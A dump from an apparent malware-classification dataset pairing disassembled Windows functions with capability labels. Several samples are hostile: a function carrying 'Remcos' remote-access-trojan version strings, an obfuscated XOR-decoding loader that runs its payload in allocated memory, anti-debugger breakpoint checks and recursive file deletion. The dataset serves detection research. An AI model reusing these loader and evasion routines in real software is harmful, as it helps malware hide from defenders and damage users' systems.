joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41446b
Capabilities:
Enumerate disk volumes
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x624
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0xc], 0x105
xor esi, esi
push edi
mov dword [ebp - 4], esi
mov ebx, esi
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push 0x5c
pop edx
test eax, eax
jle 0x4144c5
mov ecx, edi
cmp word [ecx], dx
jne 0x4144a8
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp eax, 3
je 0x4144c5
add ecx, 2
inc ebx
push edi
mov dword [ebp - 8], ecx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
cmp ebx, eax
jge 0x4144c2
mov ecx, dword [ebp - 8]
push 0x5c
pop edx
jmp 0x414497
mov ebx, dword [ebp - 4]
xor eax, eax
mov word [edi + ebx*2], ax
lea eax, [ebp - 0x214]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstVolumeW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x4144f2
call dword [sym.imp.KERNEL32.DLL_GetLastError]
xor eax, eax
jmp 0x4145da
lea ecx, [ebp - 0x214]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, si
jne 0x4144fb
jmp 0x4145ab
cmp word [ebp - 0x212], cx
jne 0x4145c5
cmp word [ebp - 0x210], 0x3f
jne 0x4145c5
cmp word [ebp - 0x20e], cx
jne 0x4145c5
cmp word [ebp + eax*2 - 0x214], cx
jne 0x4145c5
xor ecx, ecx
mov word [ebp + eax*2 - 0x214], cx
lea eax, [ebp - 0x624]
push 0x64
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.DLL_QueryDosDeviceW]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x414641
push edi
lea eax, [ebp - 0x624]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpW]
test eax, eax
je 0x4145f0
push 0x104
lea eax, [ebp - 0x214]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_FindNextVolumeW]
test eax, eax
je 0x4145e1
lea ecx, [ebp - 0x214]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, si
jne 0x4145a0
sub ecx, edx
sar ecx, 1
push 0x5c
lea eax, [ecx - 1]
pop ecx
mov dword [ebp - 4], eax
cmp word [ebp - 0x214], cx
je 0x41450b
mov esi, 0xa1
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_FindVolumeClose]
xor eax, eax
test esi, esi
sete al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov esi, eax
cmp esi, 0x12
jne 0x4145ca
jmp 0x4145c5
mov eax, dword [ebp - 4]
push 0x5c
pop ecx
mov word [ebp + eax*2 - 0x214], cx
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x41c]
push eax
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.DLL_GetVolumePathNamesForVolumeNameW]
test eax, eax
je 0x414641
lea eax, [edi + 2]
lea eax, [eax + ebx*2]
push eax
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
lea eax, [ebp - 0x41c]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
jmp 0x4145ca
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov esi, eax
jmp 0x4145ca
Function at 0x41474a
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x66c
push ebx
push esi
mov ebx, ecx
lea esi, [ebp - 0x418]
push edi
mov dword [ebp - 8], ebx
mov edx, ebx
sub esi, ebx
movzx eax, word [edx]
mov word [esi + edx], ax
lea edx, [edx + 2]
test ax, ax
jne 0x414765
lea ecx, [ebp - 0x418]
sub ecx, 2
xor edx, edx
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
cmp ax, dx
jne 0x41477f
mov eax, dword [0x45f2f8]
lea edx, [ebp - 0x210]
mov dword [ecx], eax
sub edx, ebx
mov ax, word [0x45f2fc]
mov word [ecx + 4], ax
mov ecx, ebx
movzx eax, word [ecx]
mov word [edx + ecx], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x4147a6
lea edi, [ebp - 0x210]
sub edi, 2
xor esi, esi
mov ax, word [edi + 2]
lea edi, [edi + 2]
cmp ax, si
jne 0x4147c0
mov eax, dword [0x4596b8]
mov dword [edi], eax
lea eax, [ebp - 0x668]
push eax
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x414934
mov ecx, esi
movzx eax, word [ebp + ecx - 0x210]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x41a], ax
test ax, ax
jne 0x4147f4
mov byte [ebp - 1], 1
lea eax, [ebp - 0x668]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
je 0x41491b
lea ecx, [ebp - 0x63c]
call fcn.004146d4
test eax, eax
jne 0x4148b4
lea edx, [ebp - 0x63c]
xor ecx, ecx
mov esi, edx
mov ax, word [edx]
add edx, 2
cmp ax, cx
jne 0x41483f
lea edi, [ebp - 0x210]
sub edx, esi
sub edi, 2
mov ax, word [edi + 2]
add edi, 2
cmp ax, cx
jne 0x414855
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
test byte [ebp - 0x668], 0x10
rep movsb byte es:[edi], byte [esi]
je 0x4148d1
lea ecx, [ebp - 0x210]
call fcn.0041474a
test eax, eax
je 0x41492d
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.DLL_RemoveDirectoryW]
xor esi, esi
mov ecx, esi
movzx eax, word [ebp + ecx - 0x418]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x212], ax
test ax, ax
jne 0x41489c
mov al, byte [ebp - 1]
test al, al
jne 0x414810
push ebx
call dword [sym.imp.KERNEL32.DLL_FindClose]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_RemoveDirectoryW]
jmp 0x414936
test byte [ebp - 0x668], 1
je 0x4148ec
push 0x80
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
test eax, eax
je 0x41492d
xor esi, esi
mov ecx, esi
movzx eax, word [ebp + ecx - 0x418]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x212], ax
test ax, ax
jne 0x414901
jmp 0x4148b4
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x12
jne 0x41492d
xor eax, eax
mov byte [ebp - 1], al
jmp 0x4148b7
push ebx
call dword [sym.imp.KERNEL32.DLL_FindClose]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41493d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ecx
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp + 8]
mov edi, edx
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x41496f
xor al, al
jmp 0x41498e
push ebx
lea eax, [ebp - 8]
push eax
push edi
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
je 0x414985
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov al, bl
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x414995
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
xor ebx, ebx
mov dword [ebp - 4], edx
push ebx
push 0x80
push 3
push ebx
push 3
push connect
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4149c3
xor al, al
jmp 0x414a01
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov ecx, dword [ebp - 4]
mov esi, eax
push ebx
push esi
call fcn.004068f2
mov ecx, dword [ebp - 4]
lea eax, [ebp - 8]
push ebx
push eax
push esi
mov dword [ebp - 8], ebx
call fcn.00402028
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
pop esi
test eax, eax
je 0x4149f8
mov bl, 1
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov al, bl
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x414d34
Capabilities:
Change the wallpaper

Disassembly:
push ebx
push esi
push edi
mov edi, edx
sub ecx, 0
je 0x414de0
sub ecx, 1
je 0x414dd2
sub ecx, 1
je 0x414dc4
sub ecx, 1
je 0x414d91
sub ecx, 1
jne 0x414e22
push 1
sub esp, 0x18
mov ecx, esp
push 0x4595d0
call fcn.00402178
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.0040d202
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push 0x4595cc
jmp 0x414e0e
push 1
sub esp, 0x18
mov ecx, esp
push 0x45ef10
call fcn.00402178
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.0040d202
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push 0x4595d0
jmp 0x414e0e
push 1
sub esp, 0x18
mov ecx, esp
push 0x45f27c
jmp 0x414d9d
push 1
sub esp, 0x18
mov ecx, esp
push 0x4595b8
jmp 0x414d9d
push 1
sub esp, 0x18
mov ebx, 0x4595d0
mov ecx, esp
push ebx
call fcn.00402178
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.0040d202
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push ebx
call fcn.00402178
push str.TileWallpaper
mov edx, esi
call fcn.0040d202
add esp, 0x20
push 3
push edi
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
pop edi
pop esi
pop ebx
ret

Function at 0x4150dd
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
mov bl, cl
call dword [sym.imp.KERNEL32.DLL_AllocConsole]
call dword [0x467a18]
test bl, bl
mov dword [0x467a34], eax
pop ebx
jne 0x415105
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
push edi
push 1
call fcn.00433e83
push eax
push 0x45f640
push str.CONOUT_
call fcn.004377e9
add esp, 0x10
push 0x4e4
call dword [sym.imp.KERNEL32.DLL_SetConsoleOutputCP]
call fcn.0041509a
push 0x64
lea eax, [ebp - 0x64]
push 0
push eax
call fcn.0042ec50
lea edi, [ebp - 0x64]
add esp, 0xc
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x415145
mov esi, str._n_tRemcos_v
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x64]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x41515b
mov esi, str.4.9.3_Light
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0x64]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x41516f
push 6
pop ecx
mov esi, 0x45f748
lea eax, [ebp - 0x64]
rep movsd dword es:[edi], dword [esi]
push eax
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call fcn.00413936
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x41a394
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [ecx + 4]
xor eax, eax
xor edx, edx
movzx ecx, word [esi]
cmp ax, cx
jae 0x41a3bf
movzx eax, dx
mov al, byte [eax + esi + 4]
cmp al, 0x13
je 0x41a3bf
cmp al, 0xc0
je 0x41a3bf
cmp al, 0xcc
je 0x41a3bf
add edx, 2
cmp dx, cx
jb 0x41a3a4
pop esi
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x40287f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x40288e
pop dword [ebp - 0x20]
mov eax, 0xdc35639a
sub eax, 0xdbf53b0c
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x6c48503a
sub dword [ebp - 0x30], 0x1df60aef
mov dword [ebp - 0x2c], 0x5b7f3596
sub dword [ebp - 0x2c], 0x294be951
mov dword [ebp - 0x28], 0xdb73a371
add dword [ebp - 0x28], 0x70d8a0bd
mov dword [ebp - 0x24], 0xec8a43c0
add dword [ebp - 0x24], 0x1375bc40
lea eax, [ebp - 0x30]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x8057e119
add dword [ebp - 0x30], 0xf41a883d
mov dword [ebp - 0x2c], 0x4df89087
add dword [ebp - 0x2c], 0xf373d0ee
mov dword [ebp - 0x28], 0x7f00be05
add dword [ebp - 0x28], 0xe46eae67
mov dword [ebp - 0x24], 0x7f860eb0
sub dword [ebp - 0x24], 0x7f860eb0
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0x89a58573
sub eax, 0x8965049f
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x3a15e
push 0
call eax
mov ecx, 0xaa7cc82f
sub ecx, 0xaa7c723a
mov edi, eax
mov edx, 0xd501cf1
add edx, 0xf2f0f30f
add edx, dword [ebp - 0x20]
mov esi, 0xcbd3394b
sub esi, 0xe6e1a6a1
add dword [ebp - 0x10], 0xe2bd970f
mov ebx, dword [edx]
xor dword [ebp - 0xc], ebx
xor ebx, esi
add dword [ebp - 0x14], 0x4f93bf70
mov dword [edi], ebx
xor dword [ebp - 0x10], 0x5428eab8
add edi, 0xe8d1995
sub edi, 0xe8d1991
add edx, 4
loop 0x4029ab
add eax, 0x65062c1e
add eax, 0x9afb1e89
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x4ac458
Capabilities:
Get common file path
Set current directory
Set environment variable

Disassembly:
push ebp
lea ebp, [esp - 0x98]
sub esp, 0x118
mov eax, dword [0x4c0390]
xor eax, ebp
mov dword [ebp + 0x94], eax
mov eax, dword [ebp + 0xa0]
or dword [ebp - 0x7c], 0xffffffff
push ebx
xor ebx, ebx
push esi
lea esi, [ebp - 0x74]
mov dword [ebp - 0x80], ebx
cmp eax, ebx
jne 0x4ac4b2
call fcn.004a208d
mov dword [eax], ebx
call fcn.004a207a
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword [eax], 0x16
call fcn.004a3b25
add esp, 0x14
or eax, 0xffffffff
jmp 0x4ac564
push edi
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x4ac547
lea eax, [ebp - 0x74]
push eax
push 0x105
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov edi, eax
cmp edi, 0x104
jle 0x4ac505
lea ebx, [edi + 1]
push 1
push ebx
call fcn.004a6a7a
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x4ac545
mov dword [ebp - 0x80], 1
test edi, edi
je 0x4ac545
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov edi, eax
xor ebx, ebx
cmp edi, ebx
je 0x4ac547
mov al, byte [esi]
cmp al, 0x5c
je 0x4ac513
cmp al, 0x2f
jne 0x4ac518
cmp al, byte [esi + 1]
je 0x4ac540
mov byte [ebp - 0x78], 0x3d
movzx eax, byte [esi]
push eax
call fcn.004ac8a4
pop ecx
mov byte [ebp - 0x77], al
push esi
lea eax, [ebp - 0x78]
push eax
mov byte [ebp - 0x76], 0x3a
mov byte [ebp - 0x75], 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
test eax, eax
je 0x4ac547
mov dword [ebp - 0x7c], ebx
jmp 0x4ac554
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004a20a0
pop ecx
pop edi
cmp dword [ebp - 0x80], ebx
je 0x4ac561
push esi
call fcn.0049dbfd
pop ecx
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp + 0x94]
pop esi
xor ecx, ebp
pop ebx
call fcn.0049dea6
add ebp, 0x98
leave
ret
Function at 0x401130
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4e0
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x4dc], eax
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [esp + 0x150]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x280]
push eax
push 0x12c
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push pe_nt_image_headers32
lea eax, [esp + 0x48]
mov dword [esp + 0x34], 0x11c
push 0
push eax
mov dword [esp + 0x48], 0
mov dword [esp + 0x4c], 0
call fcn.004020f0
mov esi, dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
add esp, 0xc
xor eax, eax
mov word [esp + 0x146], ax
mov dword [esp + 0x148], eax
push 3
push 0x20
push 3
push 1
push 3
push 2
push eax
push eax
call esi
push edx
push eax
call esi
push edx
push eax
call esi
push edx
push eax
push 0x23
lea eax, [esp + 0x3c]
mov dword [esp + 0x40], 6
xor ecx, ecx
mov dword [esp + 0x44], 2
push eax
mov word [esp + 0x154], cx
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
test eax, eax
jne 0x40122e
push 0x30
lea eax, [esp + 0x3b4]
push eax
push str.This_program_requires_Windows_8_or_higher
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x4dc]
xor ecx, esp
call fcn.0040129b
mov esp, ebp
pop ebp
ret 0x10
lea eax, [esp + 8]
push eax
push 0x8002
push edi
call dword [sym.imp.USER32.dll_GetClassInfoA]
push str.rdpicon
push edi
mov dword [esp + 0x20], edi
mov dword [esp + 0x34], str.RdpLoaderClass
call dword [sym.imp.USER32.dll_LoadIconA]
mov dword [esp + 0x1c], eax
lea eax, [esp + 8]
push eax
call dword [sym.imp.USER32.dll_RegisterClassA]
test ax, ax
je 0x401280
push 0
push 0x401010
push 0
push str.PinDialog
push edi
call dword [sym.imp.USER32.dll_DialogBoxParamA]
mov ecx, dword [esp + 0x4e4]
mov eax, 1
pop edi
pop esi
xor ecx, esp
call fcn.0040129b
mov esp, ebp
pop ebp
ret 0x10
Function at 0x10007940
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101862b8
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
mov eax, dword [0x101fe070]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
xor bl, bl
mov word [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov word [ebp - 0x10], 0
cmp dword [eax + 0x10], 0
je 0x1000798f
cmp dword [eax + 0x14], 8
jb 0x10007991
mov eax, dword [eax]
jmp 0x10007991
xor eax, eax
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, eax
mov dword [ebp - 0x14], esi
test esi, esi
je 0x100079be
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
movzx ebx, bl
mov ecx, 1
cmove ebx, ecx
mov byte [ebp - 0xf], bl
mov dword [ebp - 4], 0
test esi, esi
je 0x100079d1
test bl, bl
je 0x100079d1
mov bl, 1
jmp 0x100079d3
xor bl, bl
mov dword [ebp - 4], 0xffffffff
test esi, esi
je 0x100079ec
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x14], 0
mov word [ebp - 0x10], 0
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x1000a360
Capabilities:
Hide graphical window

Disassembly:
push ecx
cmp dword [esp + 0x1c], 0
push ebx
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x84]
mov dword [esp + 0xc], eax
jne 0x1000a513
mov edi, dword [esp + 0x18]
cmp edi, 0x113
je 0x1000a3c9
cmp edi, 0x10
jne 0x1000a3e9
push 0
push dword [esi + 4]
call dword [sym.imp.USER32.dll_ShowWindow]
push 0xffffffffffffffec
push dword [esi + 4]
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov ecx, eax
and ecx, 0xfffbffff
or ecx, 0x80
cmp eax, ecx
je 0x1000a3c0
push ecx
push 0xffffffffffffffec
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetWindowLongW]
push dword [esi + 4]
call dword [sym.imp.USER32.dll_DestroyWindow]
mov eax, dword [esp + 0x24]
mov dword [eax], 0
mov ecx, dword [esp + 0xc]
mov eax, 1
pop edi
mov dword [esi + 0x84], ecx
pop esi
pop ebx
pop ecx
ret 0x18
mov ebx, dword [esp + 0x20]
cmp edi, 0x4e
jne 0x1000a4ba
cmp dword [ebx + 4], 0x3e8
jne 0x1000a4ba
mov dword [esi + 0x84], 1
cmp dword [ebx + 8], 1
jne 0x1000a49b
mov eax, dword [ebx + 0xc]
cmp eax, 0xc8
jne 0x1000a465
push 0
push dword [esi + 4]
call dword [sym.imp.USER32.dll_ShowWindow]
push 0xffffffffffffffec
push dword [esi + 4]
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov ecx, eax
and ecx, 0xfffbffff
or ecx, 0x80
cmp eax, ecx
je 0x1000a455
push ecx
push 0xffffffffffffffec
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetWindowLongW]
push dword [esi + 4]
call dword [sym.imp.USER32.dll_DestroyWindow]
mov eax, 1
jmp 0x1000a4a7
cmp eax, 0xcb
jne 0x1000a47c
mov eax, dword [esi + 0x24]
lea ecx, [esi + 0x24]
call dword [eax + 0x1c]
mov eax, 1
jmp 0x1000a4a7
cmp eax, 0x7d2
jne 0x1000a49b
cmp dword [esi + 0xa0], 8
lea ecx, [esi + 0x8c]
jb 0x1000a494
mov ecx, dword [ecx]
call fcn.10015d10
jmp 0x1000a421
mov dword [esi + 0x84], 0
xor eax, eax
mov ecx, dword [esp + 0x24]
mov dword [ecx], eax
cmp dword [esi + 0x84], 0
jne 0x1000a3d3
push 0
push dword [esp + 0x28]
mov ecx, esi
push ebx
push dword [esp + 0x28]
push edi
push dword [esp + 0x28]
call fcn.1000a2d0
test eax, eax
jne 0x1000a3d3
lea eax, [esp + 0x28]
mov dword [esp + 0x28], 1
push eax
push ebx
push dword [esp + 0x24]
mov ecx, esi
push edi
call fcn.1000a9d0
mov ecx, dword [esp + 0x24]
mov dword [ecx], eax
test eax, eax
jne 0x1000a508
lea eax, [edi - 0x132]
cmp eax, 6
jbe 0x1000a513
cmp dword [esp + 0x28], 0
jne 0x1000a3d3
mov ecx, dword [esp + 0xc]
xor eax, eax
pop edi
mov dword [esi + 0x84], ecx
pop esi
pop ebx
pop ecx
ret 0x18

Function at 0x1000a800
Capabilities:
Hide graphical window

Disassembly:
push esi
mov esi, ecx
push 0
push dword [esi - 0x20]
call dword [sym.imp.USER32.dll_ShowWindow]
push 0xffffffffffffffec
push dword [esi - 0x20]
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov ecx, eax
and ecx, 0xfffbffff
or ecx, 0x80
cmp eax, ecx
je 0x1000a837
push ecx
push 0xffffffffffffffec
push dword [esi - 0x20]
call dword [sym.imp.USER32.dll_SetWindowLongW]
push dword [esi - 0x20]
call dword [sym.imp.USER32.dll_DestroyWindow]
pop esi
ret
Function at 0x1000ae70
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101866c0
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x101fe070]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x18]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x14], eax
cmp edi, 0x113
je 0x1000aef6
cmp edi, 0x10
jne 0x1000af15
push 0
push dword [esi + 4]
call dword [sym.imp.USER32.dll_ShowWindow]
push 0xffffffffffffffec
push dword [esi + 4]
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov ecx, eax
and ecx, 0xfffbffff
or ecx, 0x80
cmp eax, ecx
je 0x1000aeed
push ecx
push 0xffffffffffffffec
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetWindowLongW]
push dword [esi + 4]
call dword [sym.imp.USER32.dll_DestroyWindow]
mov dword [ebx], 0
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
cmp edi, 0x464
jne 0x1000af49
push 0x1f6
lea ecx, [esi + 0x24]
call fcn.1007e1c0
mov dword [ebx], 0
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
cmp edi, 0x465
jne 0x1000afc3
push dword [esi + 4]
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
jne 0x1000af92
push 0xffffffffffffffec
push dword [esi + 4]
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov ecx, eax
and ecx, 0xffffff7f
or ecx, 0x40000
cmp eax, ecx
je 0x1000af87
push ecx
push 0xffffffffffffffec
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 5
push dword [esi + 4]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push dword [esi + 4]
call dword [sym.imp.USER32.dll_BringWindowToTop]
mov dword [ebx], 0
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
cmp edi, 0x4e
jne 0x1000aff3
cmp dword [eax + 4], 0x3e8
jne 0x1000aff3
push eax
mov dword [esi + 0x84], 1
call fcn.1000aae0
mov dword [ebx], eax
cmp dword [esi + 0x84], 0
jne 0x1000aefc
mov eax, dword [ebp - 0x14]
push 0
push ebx
push eax
push dword [ebp + 0x10]
mov ecx, esi
push edi
push dword [ebp - 0x10]
call fcn.1000a2d0
test eax, eax
jne 0x1000aefc
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 1
push eax
push dword [ebp - 0x14]
mov ecx, esi
push dword [ebp + 0x10]
push edi
call fcn.1000a9d0
mov dword [ebx], eax
test eax, eax
jne 0x1000b037
lea eax, [edi - 0x132]
cmp eax, 6
jbe 0x1000b041
cmp dword [ebp - 0x10], 0
jne 0x1000aefc
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14